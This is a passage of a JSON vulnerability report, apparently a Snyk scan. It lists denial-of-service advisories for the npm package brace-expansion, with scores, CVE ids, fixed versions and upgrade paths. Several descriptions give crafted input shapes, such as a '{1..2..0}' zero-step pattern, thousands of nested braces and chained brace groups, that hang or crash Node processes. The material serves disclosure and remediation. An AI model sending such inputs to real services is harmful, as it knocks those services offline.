"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
